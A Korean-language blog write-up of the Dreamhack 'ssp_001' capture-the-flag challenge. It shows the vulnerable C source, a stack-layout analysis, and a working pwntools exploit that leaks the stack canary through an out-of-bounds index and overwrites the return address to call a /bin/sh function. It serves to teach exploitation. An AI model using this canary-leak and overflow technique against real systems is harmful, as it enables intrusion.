songining
article thumbnail

ํ™˜๊ฒฝ ์„ธํŒ… 

Ubuntu 16.04
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : "); 
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx); # ์ทจ์•ฝ์  1 (box์˜ idx ์œ„์น˜ ๊ฐ’ ์ถœ๋ ฅ) 
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len); # ์ทจ์•ฝ์  2 (BOF) 
                return 0;
            default:
                break;
        }
    }
}

์ทจ์•ฝ์  ๋ถ„์„

1.  P : box์˜ index์— ๋งž๋Š” ๊ฐ’์„ ์ถœ๋ ฅํ•ด์คŒ (box๊ฐ’์„ ๋„˜์–ด์„œ๋Š” ๊ฐ’๋„ ์ถœ๋ ฅ์ด ๊ฐ€๋Šฅํ•˜๋ฏ€๋กœ ์ด๊ฑธ ํ†ตํ•ด ์นด๋‚˜๋ฆฌ ๊ฐ’์„ ์•Œ์•„๋‚ผ ์ˆ˜ ์žˆ๋‹ค.)

2. E : name_len๋งŒํผ name์„ read ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด๋†“์•˜์œผ๋ฏ€๋กœ ์Šคํƒ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๊ฐ€ ๊ฐ€๋Šฅํ•˜๋‹ค.  

 

์ฆ‰, ์นด๋‚˜๋ฆฌ ๋ฆญ์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

์Šคํƒ๊ตฌ์กฐ๋ฅผ gdb๋ฅผ ํ†ตํ•ด ๊ฐ’์„ ์ž…๋ ฅํ•˜๋ฉด์„œ ๋””๋ฒ„๊น… ํ•ด๋ณด๋‹ˆ 

 

index(4) ebp-0x8a 

----------------------

namelen(4)

----------------------

select(2)

----------------------

box(0x40) ebp-0x88 (esp) 

----------------------

name(0x40) ebp-0x48 

----------------------

canary (4)

----------------------

rdi(4)

----------------------

sfp(4)

----------------------

ret

 

๋Œ€์ถฉ ์ด๋Ÿฐ ๋Š๋‚Œ์ด์—ˆ๋‹ค. 

์Šคํƒ ๊ตฌ์กฐ๋Š” ๋ ˆ์ง€์Šคํ„ฐ ์ •๋ณด( i r ) ๊ณผ rbp ์™€์˜ offset์„ ๋ณด๊ณ  ๊ตฌํ–ˆ๋‹ค. 

 

<์ต์Šคํ”Œ๋กœ์ž‡ ์‹œ๋‚˜๋ฆฌ์˜ค>

1.  32bit ํ™˜๊ฒฝ์ด๊ธฐ ๋•Œ๋ฌธ์— 4๋ฒˆ P ์ ‘๊ทผํ•ด์„œ buf์˜ ์ธ๋ฑ์Šค๋กœ 4byte์˜ ์นด๋‚˜๋ฆฌ๊ฐ’ ๊ฐ€์ ธ์™€์•ผํ•จ 

2. E์—์„œ ๋ฒ„ํผ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋ฅผ ํ†ตํ•ด ret๊นŒ์ง€ ๋ฎ์–ด์“ฐ๊ณ  ๊ทธ ์ดํ›„์— ์…ธ์ฝ”๋“œ ํ•จ์ˆ˜๋ฅผ ret์— ๋„ฃ์–ด์คŒ 

 

 

exploit ์ฝ”๋“œ 

from pwn import *

p = remote("host1.dreamhack.games",13064)
context.arch = "i386"
elf = ELF("./ssp_001")

get_shell = elf.symbols['get_shell'] 

# TODO : F (box input ์ž…๋ ฅ)
p.sendlineafter("> ", "F")
p.sendlineafter("box input : ", "A"*0x40)
    
idx = 128 # box์™€ canary ์‚ฌ์ด์˜ offset 0x80 
canary = b""

# TODO : P (buf index ๊ฐ’ ์ถœ๋ ฅ) -> canary ์ถ”์ถœ 
for i in range(4):
    p.sendlineafter("> ", "P")
    p.sendlineafter("Element index : ",str(idx+i))
    p.recvuntil("is : ")
    canary = p.recvuntil('\n')[0:2] + canary

print("canary: ",canary)
canary = int(canary,16)

p.sendlineafter("> ", "E")

payload = b'A' * 0x40 # name
payload += p32(canary) # canary
payload += b'B' * 0x08 # rdi + sfp 
payload += p32(get_shell) # ret 

p.sendlineafter("Name Size : ", str(len(payload)))
p.sendlineafter("Name : ", payload)

p.interactive()